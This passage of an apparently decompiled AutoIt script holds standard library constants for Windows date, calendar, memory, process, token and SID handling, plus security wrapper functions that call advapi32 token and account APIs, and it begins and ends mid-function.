4294967295 ) $AFILES [2 ] = STRINGMID ($SPATH , STRINGINSTR ($SPATH , "\" , $STR_NOCASESENSEBASIC , + 4294967295 ) + 1 ) RETURN $AFILES ENDFUNC #EndRegion Internal Functions GLOBAL CONST $DTS_SHORTDATEFORMAT = 0 GLOBAL CONST $DTS_UPDOWN = 1 GLOBAL CONST $DTS_SHOWNONE = 2 GLOBAL CONST $DTS_LONGDATEFORMAT = 4 GLOBAL CONST $DTS_TIMEFORMAT = 9 GLOBAL CONST $DTS_RIGHTALIGN = 32 GLOBAL CONST $DTS_SHORTDATECENTURYFORMAT = 12 GLOBAL CONST $DTS_APPCANPARSE = 16 GLOBAL CONST $DMW_LONGNAME = 0 GLOBAL CONST $DMW_SHORTNAME = 1 GLOBAL CONST $DMW_LOCALE_LONGNAME = 2 GLOBAL CONST $DMW_LOCALE_SHORTNAME = 3 GLOBAL CONST $GDT_ERROR = + 4294967295 GLOBAL CONST $GDT_VALID = 0 GLOBAL CONST $GDT_NONE = 1 GLOBAL CONST $GDTR_MIN = 1 GLOBAL CONST $GDTR_MAX = 2 GLOBAL CONST $MCHT_NOWHERE = 0 GLOBAL CONST $MCHT_TITLE = 65536 GLOBAL CONST $MCHT_CALENDAR = 131072 GLOBAL CONST $MCHT_TODAYLINK = 196608 GLOBAL CONST $MCHT_NEXT = 16777216 GLOBAL CONST $MCHT_PREV = 33554432 GLOBAL CONST $MCHT_TITLEBK = 65536 GLOBAL CONST $MCHT_TITLEMONTH = 65537 GLOBAL CONST $MCHT_TITLEYEAR = 65538 GLOBAL CONST $MCHT_TITLEBTNNEXT = 16842755 GLOBAL CONST $MCHT_TITLEBTNPREV = 33619971 GLOBAL CONST $MCHT_CALENDARBK = 131072 GLOBAL CONST $MCHT_CALENDARDATE = 131073 GLOBAL CONST $MCHT_CALENDARDAY = 131074 GLOBAL CONST $MCHT_CALENDARWEEKNUM = 131075 GLOBAL CONST $MCHT_CALENDARDATENEXT = 16908288 GLOBAL CONST $MCHT_CALENDARDATEPREV = 33685504 GLOBAL CONST $MCS_DAYSTATE = 1 GLOBAL CONST $MCS_MULTISELECT = 2 GLOBAL CONST $MCS_WEEKNUMBERS = 4 GLOBAL CONST $MCS_NOTODAYCIRCLE = 8 GLOBAL CONST $MCS_NOTODAY = 16 GLOBAL CONST $MCS_NOTRAILINGDATES = 64 GLOBAL CONST $MCS_SHORTDAYSOFWEEK = 128 GLOBAL CONST $MCS_NOSELCHANGEONNAV = 256 GLOBAL CONST $MCM_FIRST = 4096 GLOBAL CONST $MCM_GETCALENDARBORDER = ($MCM_FIRST + 31 ) GLOBAL CONST $MCM_GETCALENDARCOUNT = ($MCM_FIRST + 23 ) GLOBAL CONST $MCM_GETCALENDARGRIDINFO = ($MCM_FIRST + 24 ) GLOBAL CONST $MCM_GETCALID = ($MCM_FIRST + 27 ) GLOBAL CONST $MCM_GETCOLOR = ($MCM_FIRST + 11 ) GLOBAL CONST $MCM_GETCURRENTVIEW = ($MCM_FIRST + 22 ) GLOBAL CONST $MCM_GETCURSEL = ($MCM_FIRST + 1 ) GLOBAL CONST $MCM_GETFIRSTDAYOFWEEK = ($MCM_FIRST + 16 ) GLOBAL CONST $MCM_GETMAXSELCOUNT = ($MCM_FIRST + 3 ) GLOBAL CONST $MCM_GETMAXTODAYWIDTH = ($MCM_FIRST + 21 ) GLOBAL CONST $MCM_GETMINREQRECT = ($MCM_FIRST + 9 ) GLOBAL CONST $MCM_GETMONTHDELTA = ($MCM_FIRST + 19 ) GLOBAL CONST $MCM_GETMONTHRANGE = ($MCM_FIRST + 7 ) GLOBAL CONST $MCM_GETRANGE = ($MCM_FIRST + 17 ) GLOBAL CONST $MCM_GETSELRANGE = ($MCM_FIRST + 5 ) GLOBAL CONST $MCM_GETTODAY = ($MCM_FIRST + 13 ) GLOBAL CONST $MCM_GETUNICODEFORMAT = 8192 + 6 GLOBAL CONST $MCM_HITTEST = ($MCM_FIRST + 14 ) GLOBAL CONST $MCM_SETCALENDARBORDER = ($MCM_FIRST + 30 ) GLOBAL CONST $MCM_SETCALID = ($MCM_FIRST + 28 ) GLOBAL CONST $MCM_SETCOLOR = ($MCM_FIRST + 10 ) GLOBAL CONST $MCM_SETCURRENTVIEW = ($MCM_FIRST + 32 ) GLOBAL CONST $MCM_SETCURSEL = ($MCM_FIRST + 2 ) GLOBAL CONST $MCM_SETDAYSTATE = ($MCM_FIRST + 8 ) GLOBAL CONST $MCM_SETFIRSTDAYOFWEEK = ($MCM_FIRST + 15 ) GLOBAL CONST $MCM_SETMAXSELCOUNT = ($MCM_FIRST + 4 ) GLOBAL CONST $MCM_SETMONTHDELTA = ($MCM_FIRST + 20 ) GLOBAL CONST $MCM_SETRANGE = ($MCM_FIRST + 18 ) GLOBAL CONST $MCM_SETSELRANGE = ($MCM_FIRST + 6 ) GLOBAL CONST $MCM_SETTODAY = ($MCM_FIRST + 12 ) GLOBAL CONST $MCM_SETUNICODEFORMAT = 8192 + 5 GLOBAL CONST $MCM_SIZERECTTOMIN = ($MCM_FIRST + 29 ) GLOBAL CONST $MCN_FIRST = + 4294966550 GLOBAL CONST $MCN_SELCHANGE = ($MCN_FIRST + 4294967293 ) GLOBAL CONST $MCN_GETDAYSTATE = ($MCN_FIRST + 4294967295 ) GLOBAL CONST $MCN_SELECT = ($MCN_FIRST ) GLOBAL CONST $MCN_VIEWCHANGE = ($MCN_FIRST + 4294967292 ) GLOBAL CONST $MCSC_BACKGROUND = 0 GLOBAL CONST $MCSC_MONTHBK = 4 GLOBAL CONST $MCSC_TEXT = 1 GLOBAL CONST $MCSC_TITLEBK = 2 GLOBAL CONST $MCSC_TITLETEXT = 3 GLOBAL CONST $MCSC_TRAILINGTEXT = 5 GLOBAL CONST $DTM_FIRST = 4096 GLOBAL CONST $DTM_GETSYSTEMTIME = $DTM_FIRST + 1 GLOBAL CONST $DTM_SETSYSTEMTIME = $DTM_FIRST + 2 GLOBAL CONST $DTM_GETRANGE = $DTM_FIRST + 3 GLOBAL CONST $DTM_SETRANGE = $DTM_FIRST + 4 GLOBAL CONST $DTM_SETFORMAT = $DTM_FIRST + 5 GLOBAL CONST $DTM_SETMCCOLOR = $DTM_FIRST + 6 GLOBAL CONST $DTM_GETMCCOLOR = $DTM_FIRST + 7 GLOBAL CONST $DTM_GETMONTHCAL = $DTM_FIRST + 8 GLOBAL CONST $DTM_SETMCFONT = $DTM_FIRST + 9 GLOBAL CONST $DTM_GETMCFONT = $DTM_FIRST + 10 GLOBAL CONST $DTM_SETFORMATW = $DTM_FIRST + 50 GLOBAL CONST $DTN_FIRST = + 4294966556 GLOBAL CONST $DTN_FIRST2 = + 4294966543 GLOBAL CONST $DTN_DATETIMECHANGE = $DTN_FIRST2 + 4294967290 GLOBAL CONST $DTN_USERSTRING = $DTN_FIRST2 + 4294967291 GLOBAL CONST $DTN_WMKEYDOWN = $DTN_FIRST2 + 4294967292 GLOBAL CONST $DTN_FORMAT = $DTN_FIRST2 + 4294967293 GLOBAL CONST $DTN_FORMATQUERY = $DTN_FIRST2 + 4294967294 GLOBAL CONST $DTN_DROPDOWN = $DTN_FIRST2 + 4294967295 GLOBAL CONST $DTN_CLOSEUP = $DTN_FIRST2 + 0 GLOBAL CONST $DTN_USERSTRINGW = $DTN_FIRST + 4294967291 GLOBAL CONST $DTN_WMKEYDOWNW = $DTN_FIRST + 4294967292 GLOBAL CONST $DTN_FORMATW = $DTN_FIRST + 4294967293 GLOBAL CONST $DTN_FORMATQUERYW = $DTN_FIRST + 4294967294 GLOBAL CONST $GUI_SS_DEFAULT_DATE = $DTS_LONGDATEFORMAT GLOBAL CONST $GUI_SS_DEFAULT_MONTHCAL = 0 GLOBAL CONST $GMEM_FIXED = 0 GLOBAL CONST $GMEM_MOVEABLE = 2 GLOBAL CONST $GMEM_NOCOMPACT = 16 GLOBAL CONST $GMEM_NODISCARD = 32 GLOBAL CONST $GMEM_ZEROINIT = 64 GLOBAL CONST $GMEM_MODIFY = 128 GLOBAL CONST $GMEM_DISCARDABLE = 256 GLOBAL CONST $GMEM_NOT_BANKED = 4096 GLOBAL CONST $GMEM_SHARE = 8192 GLOBAL CONST $GMEM_DDESHARE = 8192 GLOBAL CONST $GMEM_NOTIFY = 16384 GLOBAL CONST $GMEM_LOWER = 4096 GLOBAL CONST $GMEM_VALID_FLAGS = 32626 GLOBAL CONST $GMEM_INVALID_HANDLE = 32768 GLOBAL CONST $GPTR = BITOR ($GMEM_FIXED , $GMEM_ZEROINIT ) GLOBAL CONST $GHND = BITOR ($GMEM_MOVEABLE , $GMEM_ZEROINIT ) GLOBAL CONST $MEM_COMMIT = 4096 GLOBAL CONST $MEM_RESERVE = 8192 GLOBAL CONST $MEM_TOP_DOWN = 1048576 GLOBAL CONST $MEM_SHARED = 134217728 GLOBAL CONST $PAGE_NOACCESS = 1 GLOBAL CONST $PAGE_READONLY = 2 GLOBAL CONST $PAGE_READWRITE = 4 GLOBAL CONST $PAGE_EXECUTE = 16 GLOBAL CONST $PAGE_EXECUTE_READ = 32 GLOBAL CONST $PAGE_EXECUTE_READWRITE = 64 GLOBAL CONST $PAGE_EXECUTE_WRITECOPY = 128 GLOBAL CONST $PAGE_GUARD = 256 GLOBAL CONST $PAGE_NOCACHE = 512 GLOBAL CONST $PAGE_WRITECOMBINE = 1024 GLOBAL CONST $PAGE_WRITECOPY = 8 GLOBAL CONST $MEM_DECOMMIT = 16384 GLOBAL CONST $MEM_RELEASE = 32768 GLOBAL ENUM $MEM_LOAD , $MEM_TOTALPHYSRAM , $MEM_AVAILPHYSRAM , $MEM_TOTALPAGEFILE , $MEM_AVAILPAGEFILE , $MEM_TOTALVIRTUAL , $MEM_AVAILVIRTUAL GLOBAL CONST $PROCESS_TERMINATE = 1 GLOBAL CONST $PROCESS_CREATE_THREAD = 2 GLOBAL CONST $PROCESS_SET_SESSIONID = 4 GLOBAL CONST $PROCESS_VM_OPERATION = 8 GLOBAL CONST $PROCESS_VM_READ = 16 GLOBAL CONST $PROCESS_VM_WRITE = 32 GLOBAL CONST $PROCESS_DUP_HANDLE = 64 GLOBAL CONST $PROCESS_CREATE_PROCESS = 128 GLOBAL CONST $PROCESS_SET_QUOTA = 256 GLOBAL CONST $PROCESS_SET_INFORMATION = 512 GLOBAL CONST $PROCESS_QUERY_INFORMATION = 1024 GLOBAL CONST $PROCESS_QUERY_LIMITED_INFORMATION = 4096 GLOBAL CONST $PROCESS_SUSPEND_RESUME = 2048 GLOBAL CONST $PROCESS_ALL_ACCESS = 2035711 GLOBAL CONST $SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" GLOBAL CONST $SE_AUDIT_NAME = "SeAuditPrivilege" GLOBAL CONST $SE_BACKUP_NAME = "SeBackupPrivilege" GLOBAL CONST $SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" GLOBAL CONST $SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" GLOBAL CONST $SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" GLOBAL CONST $SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" GLOBAL CONST $SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" GLOBAL CONST $SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" GLOBAL CONST $SE_DEBUG_NAME = "SeDebugPrivilege" GLOBAL CONST $SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" GLOBAL CONST $SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" GLOBAL CONST $SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" GLOBAL CONST $SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" GLOBAL CONST $SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" GLOBAL CONST $SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" GLOBAL CONST $SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" GLOBAL CONST $SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" GLOBAL CONST $SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" GLOBAL CONST $SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" GLOBAL CONST $SE_RELABEL_NAME = "SeRelabelPrivilege" GLOBAL CONST $SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege" GLOBAL CONST $SE_RESTORE_NAME = "SeRestorePrivilege" GLOBAL CONST $SE_SECURITY_NAME = "SeSecurityPrivilege" GLOBAL CONST $SE_SHUTDOWN_NAME = "SeShutdownPrivilege" GLOBAL CONST $SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege" GLOBAL CONST $SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege" GLOBAL CONST $SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege" GLOBAL CONST $SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege" GLOBAL CONST $SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege" GLOBAL CONST $SE_TCB_NAME = "SeTcbPrivilege" GLOBAL CONST $SE_TIME_ZONE_NAME = "SeTimeZonePrivilege" GLOBAL CONST $SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege" GLOBAL CONST $SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege" GLOBAL CONST $SE_UNDOCK_NAME = "SeUndockPrivilege" GLOBAL CONST $SE_PRIVILEGE_ENABLED_BY_DEFAULT = 1 GLOBAL CONST $SE_PRIVILEGE_ENABLED = 2 GLOBAL CONST $SE_PRIVILEGE_REMOVED = 4 GLOBAL CONST $SE_PRIVILEGE_USED_FOR_ACCESS = 2147483648 GLOBAL CONST $SE_GROUP_MANDATORY = 1 GLOBAL CONST $SE_GROUP_ENABLED_BY_DEFAULT = 2 GLOBAL CONST $SE_GROUP_ENABLED = 4 GLOBAL CONST $SE_GROUP_OWNER = 8 GLOBAL CONST $SE_GROUP_USE_FOR_DENY_ONLY = 16 GLOBAL CONST $SE_GROUP_INTEGRITY = 32 GLOBAL CONST $SE_GROUP_INTEGRITY_ENABLED = 64 GLOBAL CONST $SE_GROUP_RESOURCE = 536870912 GLOBAL CONST $SE_GROUP_LOGON_ID = 3221225472 GLOBAL ENUM $TOKENPRIMARY = 1 , $TOKENIMPERSONATION GLOBAL ENUM $SECURITYANONYMOUS = 0 , $SECURITYIDENTIFICATION , $SECURITYIMPERSONATION , $SECURITYDELEGATION GLOBAL ENUM $TOKENUSER = 1 , $TOKENGROUPS , $TOKENPRIVILEGES , $TOKENOWNER , $TOKENPRIMARYGROUP , $TOKENDEFAULTDACL , $TOKENSOURCE , $TOKENTYPE , $TOKENIMPERSONATIONLEVEL , $TOKENSTATISTICS , $TOKENRESTRICTEDSIDS , $TOKENSESSIONID , $TOKENGROUPSANDPRIVILEGES , $TOKENSESSIONREFERENCE , $TOKENSANDBOXINERT , $TOKENAUDITPOLICY , $TOKENORIGIN , $TOKENELEVATIONTYPE , $TOKENLINKEDTOKEN , $TOKENELEVATION , $TOKENHASRESTRICTIONS , $TOKENACCESSINFORMATION , $TOKENVIRTUALIZATIONALLOWED , $TOKENVIRTUALIZATIONENABLED , $TOKENINTEGRITYLEVEL , $TOKENUIACCESS , $TOKENMANDATORYPOLICY , $TOKENLOGONSID GLOBAL CONST $TOKEN_ASSIGN_PRIMARY = 1 GLOBAL CONST $TOKEN_DUPLICATE = 2 GLOBAL CONST $TOKEN_IMPERSONATE = 4 GLOBAL CONST $TOKEN_QUERY = 8 GLOBAL CONST $TOKEN_QUERY_SOURCE = 16 GLOBAL CONST $TOKEN_ADJUST_PRIVILEGES = 32 GLOBAL CONST $TOKEN_ADJUST_GROUPS = 64 GLOBAL CONST $TOKEN_ADJUST_DEFAULT = 128 GLOBAL CONST $TOKEN_ADJUST_SESSIONID = 256 GLOBAL CONST $TOKEN_ALL_ACCESS = 983551 GLOBAL CONST $TOKEN_READ = 131080 GLOBAL CONST $TOKEN_WRITE = 131296 GLOBAL CONST $TOKEN_EXECUTE = 131072 GLOBAL CONST $TOKEN_HAS_TRAVERSE_PRIVILEGE = 1 GLOBAL CONST $TOKEN_HAS_BACKUP_PRIVILEGE = 2 GLOBAL CONST $TOKEN_HAS_RESTORE_PRIVILEGE = 4 GLOBAL CONST $TOKEN_HAS_ADMIN_GROUP = 8 GLOBAL CONST $TOKEN_IS_RESTRICTED = 16 GLOBAL CONST $TOKEN_SESSION_NOT_REFERENCED = 32 GLOBAL CONST $TOKEN_SANDBOX_INERT = 64 GLOBAL CONST $TOKEN_HAS_IMPERSONATE_PRIVILEGE = 128 GLOBAL CONST $RIGHTS_DELETE = 65536 GLOBAL CONST $READ_CONTROL = 131072 GLOBAL CONST $WRITE_DAC = 262144 GLOBAL CONST $WRITE_OWNER = 524288 GLOBAL CONST $SYNCHRONIZE = 1048576 GLOBAL CONST $ACCESS_SYSTEM_SECURITY = 16777216 GLOBAL CONST $STANDARD_RIGHTS_REQUIRED = 983040 GLOBAL CONST $STANDARD_RIGHTS_READ = $READ_CONTROL GLOBAL CONST $STANDARD_RIGHTS_WRITE = $READ_CONTROL GLOBAL CONST $STANDARD_RIGHTS_EXECUTE = $READ_CONTROL GLOBAL CONST $STANDARD_RIGHTS_ALL = 2031616 GLOBAL CONST $SPECIFIC_RIGHTS_ALL = 65535 GLOBAL ENUM $NOT_USED_ACCESS = 0 , $GRANT_ACCESS , $SET_ACCESS , $DENY_ACCESS , $REVOKE_ACCESS , $SET_AUDIT_SUCCESS , $SET_AUDIT_FAILURE GLOBAL ENUM $TRUSTEE_IS_UNKNOWN = 0 , $TRUSTEE_IS_USER , $TRUSTEE_IS_GROUP , $TRUSTEE_IS_DOMAIN , $TRUSTEE_IS_ALIAS , $TRUSTEE_IS_WELL_KNOWN_GROUP , $TRUSTEE_IS_DELETED , $TRUSTEE_IS_INVALID , $TRUSTEE_IS_COMPUTER GLOBAL CONST $LOGON_WITH_PROFILE = 1 GLOBAL CONST $LOGON_NETCREDENTIALS_ONLY = 2 GLOBAL ENUM $SIDTYPEUSER = 1 , $SIDTYPEGROUP , $SIDTYPEDOMAIN , $SIDTYPEALIAS , $SIDTYPEWELLKNOWNGROUP , $SIDTYPEDELETEDACCOUNT , $SIDTYPEINVALID , $SIDTYPEUNKNOWN , $SIDTYPECOMPUTER , $SIDTYPELABEL GLOBAL CONST $SID_ADMINISTRATORS = "S-1-5-32-544" GLOBAL CONST $SID_USERS = "S-1-5-32-545" GLOBAL CONST $SID_GUESTS = "S-1-5-32-546" GLOBAL CONST $SID_ACCOUNT_OPERATORS = "S-1-5-32-548" GLOBAL CONST $SID_SERVER_OPERATORS = "S-1-5-32-549" GLOBAL CONST $SID_PRINT_OPERATORS = "S-1-5-32-550" GLOBAL CONST $SID_BACKUP_OPERATORS = "S-1-5-32-551" GLOBAL CONST $SID_REPLICATOR = "S-1-5-32-552" GLOBAL CONST $SID_OWNER = "S-1-3-0" GLOBAL CONST $SID_EVERYONE = "S-1-1-0" GLOBAL CONST $SID_NETWORK = "S-1-5-2" GLOBAL CONST $SID_INTERACTIVE = "S-1-5-4" GLOBAL CONST $SID_SYSTEM = "S-1-5-18" GLOBAL CONST $SID_AUTHENTICATED_USERS = "S-1-5-11" GLOBAL CONST $SID_SCHANNEL_AUTHENTICATION = "S-1-5-64-14" GLOBAL CONST $SID_DIGEST_AUTHENTICATION = "S-1-5-64-21" GLOBAL CONST $SID_NT_SERVICE = "S-1-5-80" GLOBAL CONST $SID_UNTRUSTED_MANDATORY_LEVEL = "S-1-16-0" GLOBAL CONST $SID_LOW_MANDATORY_LEVEL = "S-1-16-4096" GLOBAL CONST $SID_MEDIUM_MANDATORY_LEVEL = "S-1-16-8192" GLOBAL CONST $SID_MEDIUM_PLUS_MANDATORY_LEVEL = "S-1-16-8448" GLOBAL CONST $SID_HIGH_MANDATORY_LEVEL = "S-1-16-12288" GLOBAL CONST $SID_SYSTEM_MANDATORY_LEVEL = "S-1-16-16384" GLOBAL CONST $SID_PROTECTED_PROCESS_MANDATORY_LEVEL = "S-1-16-20480" GLOBAL CONST $SID_SECURE_PROCESS_MANDATORY_LEVEL = "S-1-16-28672" GLOBAL CONST $SID_ALL_SERVICES = "S-1-5-80-0" FUNC _SECURITY__ADJUSTTOKENPRIVILEGES ($HTOKEN , $BDISABLEALL , $TNEWSTATE , $IBUFFERLEN , $TPREVSTATE = 0 , $PREQUIRED = 0 ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "AdjustTokenPrivileges" , "handle" , $HTOKEN , "bool" , $BDISABLEALL , "struct*" , $TNEWSTATE , "dword" , $IBUFFERLEN , "struct*" , $TPREVSTATE , "struct*" , $PREQUIRED ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN NOT ($ACALL [0 ] = 0 ) ENDFUNC FUNC _SECURITY__CREATEPROCESSWITHTOKEN ($HTOKEN , $ILOGONFLAGS , $SCOMMANDLINE , $ICREATIONFLAGS , $SCURDIR , $TSTARTUPINFO , $TPROCESS_INFORMATION ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "CreateProcessWithTokenW" , "handle" , $HTOKEN , "dword" , $ILOGONFLAGS , "ptr" , 0 , "wstr" , $SCOMMANDLINE , "dword" , $ICREATIONFLAGS , "struct*" , 0 , "wstr" , $SCURDIR , "struct*" , $TSTARTUPINFO , "struct*" , $TPROCESS_INFORMATION ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN TRUE ENDFUNC FUNC _SECURITY__DUPLICATETOKENEX ($HEXISTINGTOKEN , $IDESIREDACCESS , $IIMPERSONATIONLEVEL , $ITOKENTYPE ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "DuplicateTokenEx" , "handle" , $HEXISTINGTOKEN , "dword" , $IDESIREDACCESS , "struct*" , 0 , "int" , $IIMPERSONATIONLEVEL , "int" , $ITOKENTYPE , "handle*" , 0 ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ACALL [6 ] ENDFUNC FUNC _SECURITY__GETACCOUNTSID ($SACCOUNT , $SSYSTEM = "" ) LOCAL $AACCT = _SECURITY__LOOKUPACCOUNTNAME ($SACCOUNT , $SSYSTEM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF ISARRAY ($AACCT ) THEN RETURN _SECURITY__STRINGSIDTOSID ($AACCT [0 ] ) RETURN "" ENDFUNC FUNC _SECURITY__GETLENGTHSID ($PSID ) IF NOT _SECURITY__ISVALIDSID ($PSID ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "dword" , "GetLengthSid" , "struct*" , $PSID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ACALL [0 ] ENDFUNC FUNC _SECURITY__GETTOKENINFORMATION ($HTOKEN , $ICLASS ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "GetTokenInformation" , "handle" , $HTOKEN , "int" , $ICLASS , "struct*" , 0 , "dword" , 0 , "dword*" , 0 ) IF @ERROR OR NOT $ACALL [5 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ILEN = $ACALL [5 ] LOCAL $TBUFFER = DLLSTRUCTCREATE ("byte[" & $ILEN & "]" ) $ACALL = DLLCALL ("advapi32.dll" , "bool" , "GetTokenInformation" , "handle" , $HTOKEN , "int" , $ICLASS , "struct*" , $TBUFFER , "dword" , DLLSTRUCTGETSIZE ($TBUFFER ) , "dword*" , 0 ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $TBUFFER ENDFUNC FUNC _SECURITY__IMPERSONATESELF ($ILEVEL = $SECURITYIMPERSONATION ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "ImpersonateSelf" , "int" , $ILEVEL ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN NOT ($ACALL [0 ] = 0 ) ENDFUNC FUNC _SECURITY__ISVALIDSID ($PSID ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "IsValidSid" , "struct*" , $PSID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN NOT ($ACALL [0 ] = 0 ) ENDFUNC FUNC _SECURITY__LOOKUPACCOUNTNAME ($SACCOUNT , $SSYSTEM = "" ) LOCAL $TDATA = DLLSTRUCTCREATE ("byte SID[256]" ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "LookupAccountNameW" , "wstr" , $SSYSTEM , "wstr" , $SACCOUNT , "struct*" , $TDATA , "dword*" , DLLSTRUCTGETSIZE ($TDATA ) , "wstr" , "" , "dword*" , DLLSTRUCTGETSIZE ($TDATA ) , "int*" , 0 ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) LOCAL $AACCT [3 ] $AACCT [0 ] = _SECURITY__SIDTOSTRINGSID (DLLSTRUCTGETPTR ($TDATA , "SID" ) ) $AACCT [1 ] = $ACALL [5 ] $AACCT [2 ] = $ACALL [7 ] RETURN $AACCT ENDFUNC FUNC _SECURITY__LOOKUPACCOUNTSID ($VSID , $SSYSTEM = "" ) LOCAL $PSID , $AACCT [3 ] IF ISSTRING ($VSID ) THEN $PSID = _SECURITY__STRINGSIDTOSID ($VSID ) ELSE $PSID = $VSID ENDIF IF NOT _SECURITY__ISVALIDSID ($PSID ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $STYPESYSTEM = "ptr" IF $SSYSTEM THEN $STYPESYSTEM = "wstr" LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "LookupAccountSidW" , $STYPESYSTEM , $SSYSTEM , "struct*" , $PSID , "wstr" , "" , "dword*" , 65536 , "wstr" , "" , "dword*" , 65536 , "int*" , 0 ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) LOCAL $AACCT [3 ] $AACCT [0 ] = $ACALL [3 ] $AACCT [1 ] = $ACALL [5 ] $AACCT [2 ] = $ACALL [7 ] RETURN $AACCT ENDFUNC FUNC _SECURITY__LOOKUPPRIVILEGEVALUE ($SSYSTEM , $SNAME ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "LookupPrivilegeValueW" , "wstr" , $SSYSTEM , "wstr" , $SNAME , "int64*" , 0 ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ACALL [3 ] ENDFUNC FUNC _SECURITY__OPENPROCESSTOKEN ($HPROCESS , $IACCESS ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "OpenProcessToken" , "handle" , $HPROCESS , "dword" , $IACCESS , "handle*" , 0 ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ACALL [3 ] ENDFUNC FUNC _SECURITY__OPENTHREADTOKEN ($IACCESS , $HTHREAD = 0 , $BOPENASSELF = FALSE ) IF $HTHREAD = 0 THEN LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GetCurrentThread" ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) $HTHREAD = $ARESULT [0 ] ENDIF LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "OpenThreadToken" , "handle" , $HTHREAD , "dword" , $IACCESS , "bool" , $BOPENASSELF , "handle*" , 0 ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ACALL [4 ] ENDFUNC FUNC _SECURITY__OPENTHREADTOKENEX ($IACCESS , $HTHREAD = 0 , $BOPENASSELF = FALSE ) LOCAL $HTOKEN = _SECURITY__OPENTHREADTOKEN ($IACCESS , $HTHREAD , $BOPENASSELF ) IF $HTOKEN = 0 THEN LOCAL CONST $ERROR_NO_TOKEN = 1008 IF _WINAPI_GETLASTERROR () <> $ERROR_NO_TOKEN THEN RETURN SETERROR (20 , _WINAPI_GETLASTERROR () , 0 ) IF NOT _SECURITY__IMPERSONATESELF () THEN RETURN SETERROR (@ERROR + 10 , _WINAPI_GETLASTERROR () , 0 ) $HTOKEN = _SECURITY__OPENTHREADTOKEN ($IACCESS , $HTHREAD , $BOPENASSELF ) IF $HTOKEN = 0 THEN RETURN SETERROR (@ERROR , _WINAPI_GETLASTERROR () , 0 ) ENDIF RETURN $HTOKEN ENDFUNC FUNC _SECURITY__SETPRIVILEGE ($HTOKEN , $SPRIVILEGE , $BENABLE ) LOCAL $ILUID = _SECURITY__LOOKUPPRIVILEGEVALUE ("" , $SPRIVILEGE ) IF $ILUID = 0 THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , FALSE ) LOCAL CONST $TAGTOKEN_PRIVILEGES = "dword Count;align 4;int64 LUID;dword Attributes" LOCAL $TCURRSTATE = DLLSTRUCTCREATE ($TAGTOKEN_PRIVILEGES ) LOCAL $ICURRSTATE = DLLSTRUCTGETSIZE ($TCURRSTATE ) LOCAL $TPREVSTATE = DLLSTRUCTCREATE ($TAGTOKEN_PRIVILEGES ) LOCAL $IPREVSTATE = DLLSTRUCTGETSIZE ($TPREVSTATE 